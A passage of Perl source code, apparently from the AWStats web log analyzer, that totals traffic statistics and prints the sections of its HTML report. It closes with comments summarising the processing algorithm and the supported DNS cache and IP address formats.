$FrameName ne 'mainleft' ) { 20847 20848 # READING DATA 20849 #------------- 20850 &Init_HashArray(); 20851 20852 # Lecture des fichiers history / reading history file 20853 if ( $DatabaseBreak eq 'month' ) { 20854 for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) { 20855 my $stringforload = ''; 20856 my $monthix = sprintf( "%02s", $ix ); 20857 if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) { 20858 $stringforload = 'all'; # Read full history file 20859 } 20860 elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats ) 20861 || $HTMLOutput{'alldays'} ) 20862 { 20863 $stringforload = 20864 'general time'; # Read general and time sections. 20865 } 20866 if ($stringforload) { 20867 20868 # On charge fichier / file is loaded 20869 &Read_History_With_TmpUpdate( $YearRequired, $monthix, '', 20870 '', 0, 0, $stringforload ); 20871 } 20872 } 20873 } 20874 if ( $DatabaseBreak eq 'day' ) { 20875 my $stringforload = 'all'; 20876 my $monthix = sprintf( "%02s", $MonthRequired ); 20877 my $dayix = sprintf( "%02s", $DayRequired ); 20878 &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '', 20879 0, 0, $stringforload ); 20880 } 20881 if ( $DatabaseBreak eq 'hour' ) { 20882 my $stringforload = 'all'; 20883 my $monthix = sprintf( "%02s", $MonthRequired ); 20884 my $dayix = sprintf( "%02s", $DayRequired ); 20885 my $hourix = sprintf( "%02s", $HourRequired ); 20886 &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, 20887 $hourix, 0, 0, $stringforload ); 20888 } 20889 20890 } 20891 20892 # HTMLHeadSection 20893 if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) { 20894 print "<a name=\"top\"></a>\n\n"; 20895 my $newhead = $HTMLHeadSection; 20896 $newhead =~ s/\\n/\n/g; 20897 print "$newhead\n"; 20898 print "\n"; 20899 } 20900 20901 # Call to plugins' function AddHTMLBodyHeader 20902 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) { 20903 my $function = "AddHTMLBodyHeader_$pluginname"; 20904 &$function(); 20905 } 20906 20907 my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 ); 20908 20909 # TOP BAN 20910 #--------------------------------------------------------------------- 20911 if ( $ShowMenu || $FrameName eq 'mainleft' ) { 20912 HTMLTopBanner($WIDTHMENU1); 20913 } 20914 20915 # Call to plugins' function AddHTMLMenuHeader 20916 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) { 20917 my $function = "AddHTMLMenuHeader_$pluginname"; 20918 &$function(); 20919 } 20920 20921 # MENU (ON LEFT IF FRAME OR TOP) 20922 #--------------------------------------------------------------------- 20923 if ( $ShowMenu || $FrameName eq 'mainleft' ) { 20924 HTMLMenu($NewLinkParams, $NewLinkTarget); 20925 } 20926 20927 # Call to plugins' function AddHTMLMenuFooter 20928 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) { 20929 my $function = "AddHTMLMenuFooter_$pluginname"; 20930 &$function(); 20931 } 20932 20933 # Exit if left frame 20934 if ( $FrameName eq 'mainleft' ) { 20935 &html_end(0); 20936 exit 0; 20937 } 20938 20939 20940 20941# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown 20942 $TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0; 20943 $TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0; 20944 $TotalHostsKnown = $TotalHostsUnknown = 0; 20945 my $beginmonth = $MonthRequired; 20946 my $endmonth = $MonthRequired; 20947 if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; } 20948 for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) { 20949 my $monthix = sprintf( "%02s", $month ); 20950 $TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix } 20951 || 0; # Wrong in year view 20952 $TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix } 20953 || 0; # Wrong in year view 20954 $TotalUnique += $MonthUnique{ $YearRequired . $monthix } 20955 || 0; # Wrong in year view 20956 $TotalVisits += $MonthVisits{ $YearRequired . $monthix } 20957 || 0; # Not completely true 20958 $TotalPages += $MonthPages{ $YearRequired . $monthix } || 0; 20959 $TotalHits += $MonthHits{ $YearRequired . $monthix } || 0; 20960 $TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0; 20961 $TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix } 20962 || 0; 20963 $TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix } 20964 || 0; 20965 $TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix } 20966 || 0; 20967 } 20968 20969 # TotalHitsErrors TotalBytesErrors 20970 $TotalHitsErrors = 0; 20971 my $TotalBytesErrors = 0; 20972 foreach ( keys %_errors_h ) { 20973 20974 # print "xxxx".$_." zzz".$_errors_h{$_}; 20975 $TotalHitsErrors += $_errors_h{$_}; 20976 $TotalBytesErrors += $_errors_k{$_}; 20977 } 20978 20979# TotalEntries (if not already specifically counted, we init it from _url_e hash table) 20980 if ( !$TotalEntries ) { 20981 foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; } 20982 } 20983 20984# TotalExits (if not already specifically counted, we init it from _url_x hash table) 20985 if ( !$TotalExits ) { 20986 foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; } 20987 } 20988 20989# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table) 20990 if ( !$TotalBytesPages ) { 20991 foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; } 20992 } 20993 20994# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table) 20995 if ( !$TotalKeyphrases ) { 20996 foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; } 20997 } 20998 20999# TotalKeywords (if not already specifically counted, we init it from _keywords hash table) 21000 if ( !$TotalKeywords ) { 21001 foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; } 21002 } 21003 21004# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table) 21005 if ( !$TotalSearchEnginesPages ) { 21006 foreach ( keys %_se_referrals_p ) { 21007 $TotalSearchEnginesPages += $_se_referrals_p{$_}; 21008 } 21009 } 21010 21011# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table) 21012 if ( !$TotalSearchEnginesHits ) { 21013 foreach ( keys %_se_referrals_h ) { 21014 $TotalSearchEnginesHits += $_se_referrals_h{$_}; 21015 } 21016 } 21017 21018# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table) 21019 if ( !$TotalRefererPages ) { 21020 foreach ( keys %_pagesrefs_p ) { 21021 $TotalRefererPages += $_pagesrefs_p{$_}; 21022 } 21023 } 21024 21025# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table) 21026 if ( !$TotalRefererHits ) { 21027 foreach ( keys %_pagesrefs_h ) { 21028 $TotalRefererHits += $_pagesrefs_h{$_}; 21029 } 21030 } 21031 21032# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table) 21033 $TotalDifferentPages ||= scalar keys %_url_p; 21034 21035# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table) 21036 $TotalDifferentKeyphrases ||= scalar keys %_keyphrases; 21037 21038# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table) 21039 $TotalDifferentKeywords ||= scalar keys %_keywords; 21040 21041# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table) 21042 $TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h; 21043 21044# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table) 21045 $TotalDifferentReferer ||= scalar keys %_pagesrefs_h; 21046 21047# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime 21048 my $firstdaytocountaverage = 21049 $nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month 21050 my $firstdaytoshowtime = 21051 $nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month 21052 my $lastdaytocountaverage = 21053 $nowyear . $nowmonth . $nowday; # Set day cursor to today 21054 my $lastdaytoshowtime = 21055 $nowyear . $nowmonth . "31"; # Set day cursor to last day of month 21056 if ( $MonthRequired eq 'all' ) { 21057 $firstdaytocountaverage = 21058 $YearRequired 21059 . "0101"; # Set day cursor to 1st day of the required year 21060 } 21061 if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' ) 21062 || $YearRequired ne $nowyear ) 21063 { 21064 if ( $MonthRequired eq 'all' ) { 21065 $firstdaytocountaverage = 21066 $YearRequired 21067 . "0101"; # Set day cursor to 1st day of the required year 21068 $firstdaytoshowtime = 21069 $YearRequired . "1201" 21070 ; # Set day cursor to 1st day of last month of required year 21071 $lastdaytocountaverage = 21072 $YearRequired 21073 . "1231"; # Set day cursor to last day of the required year 21074 $lastdaytoshowtime = 21075 $YearRequired . "1231" 21076 ; # Set day cursor to last day of last month of required year 21077 } 21078 else { 21079 $firstdaytocountaverage = 21080 $YearRequired 21081 . $MonthRequired 21082 . "01"; # Set day cursor to 1st day of the required month 21083 $firstdaytoshowtime = 21084 $YearRequired 21085 . $MonthRequired 21086 . "01"; # Set day cursor to 1st day of the required month 21087 $lastdaytocountaverage = 21088 $YearRequired 21089 . $MonthRequired 21090 . "31"; # Set day cursor to last day of the required month 21091 $lastdaytoshowtime = 21092 $YearRequired 21093 . $MonthRequired 21094 . "31"; # Set day cursor to last day of the required month 21095 } 21096 } 21097 if ($Debug) { 21098 debug( 21099"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage", 21100 1 21101 ); 21102 debug( 21103"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime", 21104 1 21105 ); 21106 } 21107 21108 # Call to plugins' function AddHTMLContentHeader 21109 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } ) 21110 { 21111 # to add unique visitors & number of visits, by J Ruano @ CAPSiDE 21112 if ( $ShowDomainsStats =~ /U/i ) { 21113 print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>"; 21114 } 21115 if ( $ShowDomainsStats =~ /V/i ) { 21116 print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>"; 21117 } 21118 21119 my $function = "AddHTMLContentHeader_$pluginname"; 21120 &$function(); 21121 } 21122 21123 # Output individual frames or static pages for specific sections 21124 #----------------------- 21125 if ( scalar keys %HTMLOutput == 1 ) { 21126 21127 if ( $HTMLOutput{'alldomains'} ) { 21128 &HTMLShowDomains(); 21129 } 21130 if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) { 21131 &HTMLShowHosts(); 21132 } 21133 if ( $HTMLOutput{'unknownip'} ) { 21134 &HTMLShowHostsUnknown(); 21135 } 21136 if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) { 21137 &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget ); 21138 &html_end(1); 21139 } 21140 if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) { 21141 &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget ); 21142 &html_end(1); 21143 } 21144 if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) { 21145 &HTMLShowLogins(); 21146 } 21147 if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) { 21148 &HTMLShowRobots(); 21149 } 21150 if ( $HTMLOutput{'urldetail'} 21151 || $HTMLOutput{'urlentry'} 21152 || $HTMLOutput{'urlexit'} ) 21153 { 21154 &HTMLShowURLDetail(); 21155 } 21156 if ( $HTMLOutput{'unknownos'} ) { 21157 &HTMLShowOSUnknown($NewLinkTarget); 21158 } 21159 if ( $HTMLOutput{'unknownbrowser'} ) { 21160 &HTMLShowBrowserUnknown($NewLinkTarget); 21161 } 21162 if ( $HTMLOutput{'osdetail'} ) { 21163 &HTMLShowOSDetail(); 21164 } 21165 if ( $HTMLOutput{'browserdetail'} ) { 21166 &HTMLShowBrowserDetail(); 21167 } 21168 if ( $HTMLOutput{'refererse'} ) { 21169 &HTMLShowReferers($NewLinkTarget); 21170 } 21171 if ( $HTMLOutput{'refererpages'} ) { 21172 &HTMLShowRefererPages($NewLinkTarget); 21173 } 21174 if ( $HTMLOutput{'keyphrases'} ) { 21175 &HTMLShowKeyPhrases($NewLinkTarget); 21176 } 21177 if ( $HTMLOutput{'keywords'} ) { 21178 &HTMLShowKeywords($NewLinkTarget); 21179 } 21180 if ( $HTMLOutput{'downloads'} ) { 21181 &HTMLShowDownloads(); 21182 } 21183 foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { 21184 if ( $HTMLOutput{"errors$code"} ) { 21185 &HTMLShowErrorCodes($code); 21186 } 21187 } 21188 21189 # BY EXTRA SECTIONS 21190 #---------------------------- 21191 HTMLShowExtraSections(); 21192 21193 if ( $HTMLOutput{'info'} ) { 21194 # TODO Not yet available 21195 print "$Center<a name=\"info\"> </a><br />"; 21196 &html_end(1); 21197 } 21198 21199 # Print any plugins that have individual pages 21200 # TODO - change name, graph isn't so descriptive 21201 my $htmloutput = ''; 21202 foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; } 21203 if ( $htmloutput =~ /^plugin_(\w+)$/ ) { 21204 my $pluginname = $1; 21205 print "$Center<a name=\"plugin_$pluginname\"> </a><br />"; 21206 my $function = "AddHTMLGraph_$pluginname"; 21207 &$function(); 21208 &html_end(1); 21209 } 21210 } 21211 21212 # Output main page 21213 #----------------- 21214 if ( $HTMLOutput{'main'} ) { 21215 21216 # Calculate averages 21217 my $max_p = 0; 21218 my $max_h = 0; 21219 my $max_k = 0; 21220 my $max_v = 0; 21221 my $average_nb = 0; 21222 foreach my $daycursor ($firstdaytocountaverage .. $lastdaytocountaverage ) 21223 { 21224 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 21225 my $year = $1; 21226 my $month = $2; 21227 my $day = $3; 21228 if ( !DateIsValid( $day, $month, $year ) ) { 21229 next; 21230 } # If not an existing day, go to next 21231 $average_nb++; # Increase number of day used to count 21232 $AverageVisits += ( $DayVisits{$daycursor} || 0 ); 21233 $AveragePages += ( $DayPages{$daycursor} || 0 ); 21234 $AverageHits += ( $DayHits{$daycursor} || 0 ); 21235 $AverageBytes += ( $DayBytes{$daycursor} || 0 ); 21236 } 21237 if ($average_nb) { 21238 $AverageVisits = $AverageVisits / $average_nb; 21239 $AveragePages = $AveragePages / $average_nb; 21240 $AverageHits = $AverageHits / $average_nb; 21241 $AverageBytes = $AverageBytes / $average_nb; 21242 if ( $AverageVisits > $max_v ) { $max_v = $AverageVisits; } 21243 #if ($average_p > $max_p) { $max_p=$average_p; } 21244 if ( $AverageHits > $max_h ) { $max_h = $AverageHits; } 21245 if ( $AverageBytes > $max_k ) { $max_k = $AverageBytes; } 21246 } 21247 else { 21248 $AverageVisits = "?"; 21249 $AveragePages = "?"; 21250 $AverageHits = "?"; 21251 $AverageBytes = "?"; 21252 } 21253 21254 # SUMMARY 21255 #--------------------------------------------------------------------- 21256 if ($ShowSummary) { 21257 &HTMLMainSummary(); 21258 } 21259 21260 # BY MONTH 21261 #--------------------------------------------------------------------- 21262 if ($ShowMonthStats) { 21263 &HTMLMainMonthly(); 21264 } 21265 21266 print "\n<a name=\"when\"> </a>\n\n"; 21267 21268 # BY DAY OF MONTH 21269 #--------------------------------------------------------------------- 21270 if ($ShowDaysOfMonthStats) { 21271 &HTMLMainDaily($firstdaytocountaverage, $lastdaytocountaverage, 21272 $firstdaytoshowtime, $lastdaytoshowtime); 21273 } 21274 21275 # BY DAY OF WEEK 21276 #------------------------- 21277 if ($ShowDaysOfWeekStats) { 21278 &HTMLMainDaysofWeek($firstdaytocountaverage, $lastdaytocountaverage, $NewLinkParams, $NewLinkTarget); 21279 } 21280 21281 # BY HOUR 21282 #---------------------------- 21283 if ($ShowHoursStats) { 21284 &HTMLMainHours($NewLinkParams, $NewLinkTarget); 21285 } 21286 21287 print "\n<a name=\"who\"> </a>\n\n"; 21288 21289 # BY COUNTRY/DOMAIN 21290 #--------------------------- 21291 if ($ShowDomainsStats) { 21292 &HTMLMainCountries($NewLinkParams, $NewLinkTarget); 21293 } 21294 21295 # BY HOST/VISITOR 21296 #-------------------------- 21297 if ($ShowHostsStats) { 21298 &HTMLMainHosts($NewLinkParams, $NewLinkTarget); 21299 } 21300 21301 # BY SENDER EMAIL 21302 #---------------------------- 21303 if ($ShowEMailSenders) { 21304 &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget ); 21305 } 21306 21307 # BY RECEIVER EMAIL 21308 #---------------------------- 21309 if ($ShowEMailReceivers) { 21310 &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget ); 21311 } 21312 21313 # BY LOGIN 21314 #---------------------------- 21315 if ($ShowAuthenticatedUsers) { 21316 &HTMLMainLogins($NewLinkParams, $NewLinkTarget); 21317 } 21318 21319 # BY ROBOTS 21320 #---------------------------- 21321 if ($ShowRobotsStats) { 21322 &HTMLMainRobots($NewLinkParams, $NewLinkTarget); 21323 } 21324 21325 # BY WORMS 21326 #---------------------------- 21327 if ($ShowWormsStats) { 21328 &HTMLMainWorms(); 21329 } 21330 21331 print "\n<a name=\"how\"> </a>\n\n"; 21332 21333 # BY SESSION 21334 #---------------------------- 21335 if ($ShowSessionsStats) { 21336 &HTMLMainSessions(); 21337 } 21338 21339 # BY FILE TYPE 21340 #------------------------- 21341 if ($ShowFileTypesStats) { 21342 &HTMLMainFileType($NewLinkParams, $NewLinkTarget); 21343 } 21344 21345 # BY FILE SIZE 21346 #------------------------- 21347 if ($ShowFileSizesStats) { 21348 # TODO 21349 } 21350 21351 # BY DOWNLOADS 21352 #------------------------- 21353 if ($ShowDownloadsStats) { 21354 &HTMLMainDownloads($NewLinkParams, $NewLinkTarget); 21355 } 21356 21357 # BY PAGE 21358 #------------------------- 21359 if ($ShowPagesStats) { 21360 &HTMLMainPages($NewLinkParams, $NewLinkTarget); 21361 } 21362 21363 # BY OS 21364 #---------------------------- 21365 if ($ShowOSStats) { 21366 &HTMLMainOS($NewLinkParams, $NewLinkTarget); 21367 } 21368 21369 # BY BROWSER 21370 #---------------------------- 21371 if ($ShowBrowsersStats) { 21372 &HTMLMainBrowsers($NewLinkParams, $NewLinkTarget); 21373 } 21374 21375 # BY SCREEN SIZE 21376 #---------------------------- 21377 if ($ShowScreenSizeStats) { 21378 &HTMLMainScreenSize(); 21379 } 21380 21381 print "\n<a name=\"refering\"> </a>\n\n"; 21382 21383 # BY REFERENCE 21384 #--------------------------- 21385 if ($ShowOriginStats) { 21386 &HTMLMainReferrers($NewLinkParams, $NewLinkTarget); 21387 } 21388 21389 print "\n<a name=\"keys\"> </a>\n\n"; 21390 21391 # BY SEARCH KEYWORDS AND/OR KEYPHRASES 21392 #------------------------------------- 21393 if ($ShowKeyphrasesStats || $ShowKeywordsStats){ 21394 &HTMLMainKeys($NewLinkParams, $NewLinkTarget); 21395 } 21396 21397 print "\n<a name=\"other\"> </a>\n\n"; 21398 21399 # BY MISC 21400 #---------------------------- 21401 if ($ShowMiscStats) { 21402 &HTMLMainMisc(); 21403 } 21404 21405 # BY HTTP STATUS 21406 #---------------------------- 21407 if ($ShowHTTPErrorsStats) { 21408 &HTMLMainHTTPStatus($NewLinkParams, $NewLinkTarget); 21409 } 21410 21411 # BY SMTP STATUS 21412 #---------------------------- 21413 if ($ShowSMTPErrorsStats) { 21414 &HTMLMainSMTPStatus($NewLinkParams, $NewLinkTarget); 21415 } 21416 21417 # BY CLUSTER 21418 #---------------------------- 21419 if ($ShowClusterStats) { 21420 &HTMLMainCluster($NewLinkParams, $NewLinkTarget); 21421 } 21422 21423 # BY EXTRA SECTIONS 21424 #---------------------------- 21425 foreach my $extranum ( 1 .. @ExtraName - 1 ) { 21426 &HTMLMainExtra($NewLinkParams, $NewLinkTarget, $extranum); 21427 } 21428 21429 # close the HTML page 21430 &html_end(1); 21431 } 21432} 21433else { 21434 print "Jumped lines in file: $lastlinenb\n"; 21435 if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; } 21436 print "Parsed lines in file: $NbOfLinesParsed\n"; 21437 print " Found $NbOfLinesDropped dropped records,\n"; 21438 print " Found $NbOfLinesComment comments,\n"; 21439 print " Found $NbOfLinesBlank blank records,\n"; 21440 print " Found $NbOfLinesCorrupted corrupted records,\n"; 21441 print " Found $NbOfOldLines old records,\n"; 21442 print " Found $NbOfNewLines new qualified records.\n"; 21443} 21444 21445 21446#sleep 10; 21447 214480; # Do not remove this line 21449 21450#------------------------------------------------------- 21451# ALGORITHM SUMMARY 21452# 21453# Read_Config(); 21454# Check_Config() and Init variables 21455# if 'frame not index' 21456# &Read_Language_Data($Lang); 21457# if 'frame not mainleft' 21458# &Read_Ref_Data(); 21459# &Read_Plugins(); 21460# html_head 21461# 21462# If 'migrate' 21463# We create/update tmp file with 21464# &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all"); 21465# Rename the tmp file 21466# html_end 21467# Exit 21468# End of 'migrate' 21469# 21470# Get last history file name 21471# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with 21472# &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general"); 21473# 21474# &Init_HashArray() 21475# 21476# If 'update' 21477# Loop on each new line in log file 21478# lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position 21479# If line corrupted, skip --> next on loop 21480# Drop wrong virtual host --> next on loop 21481# Drop wrong method/protocol --> next on loop 21482# Check date --> next on loop 21483# If line older than $LastLine, skip --> next on loop 21484# So it's new line 21485# $LastLine = time or record 21486# Skip if url is /robots.txt --> next on loop 21487# Skip line for @SkipHosts --> next on loop 21488# Skip line for @SkipFiles --> next on loop 21489# Skip line for @SkipUserAgent --> next on loop 21490# Skip line for not @OnlyHosts --> next on loop 21491# Skip line for not @OnlyUsers --> next on loop 21492# Skip line for not @OnlyFiles --> next on loop 21493# Skip line for not @OnlyUserAgent --> next on loop 21494# So it's new line approved 21495# If other month/year, create/update tmp file and purge data arrays with 21496# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)); 21497# Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url]) 21498# Define PageBool and extension 21499# Analyze: Misc tracker --> complete %misc 21500# Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere) 21501# If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2 21502# If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3 21503# If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4 21504# If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5 21505# If (!countedtraffic) Analyze: File types - Compression 21506# If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo 21507# If (!countedtraffic) Analyze: Login 21508# If (!countedtraffic) Do DNS Lookup 21509# If (!countedtraffic) Analyze: Country 21510# If (!countedtraffic) Analyze: Host - Url - Session 21511# If (!countedtraffic) Analyze: Browser - OS 21512# If (!countedtraffic) Analyze: Referer 21513# If (!countedtraffic) Analyze: EMail 21514# Analyze: Cluster 21515# Analyze: Extra (must be after 'Define a clean Url and Query') 21516# If too many records, we flush data arrays with 21517# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)); 21518# End of loop 21519# 21520# Create/update tmp file 21521# Seek to lastlineoffset in logfile to read and get last line into $_ 21522# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_)) 21523# Rename all created tmp files 21524# End of 'update' 21525# 21526# &Init_HashArray() 21527# 21528# If 'output' 21529# Loop for each month of required year 21530# &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month) 21531# End of loop 21532# Show data arrays in HTML page 21533# html_end 21534# End of 'output' 21535#------------------------------------------------------- 21536 21537#------------------------------------------------------- 21538# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS 21539# Format /etc/hosts x.y.z.w hostname 21540# Format analog UT/60 x.y.z.w hostname 21541#------------------------------------------------------- 21542 21543#------------------------------------------------------- 21544# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits) 21545# 21546# 13.1.68.3 IPv4 (d.d.d.d) 21547# 0:0:0:0:0:0:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d) 21548# ::13.1.68.3 21549# 0:0:0:0:0:FFFF:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d) 21550# ::FFFF:13.1.68.3 IPv6 21551# 21552# 1070:0:0:0:0:800:200C:417B IPv6 21553# 1070:0:0:0:0:800:200C:417B IPv6 21554# 1070::800:200C:417B IPv6 21555#------------------------------------------------------- 21556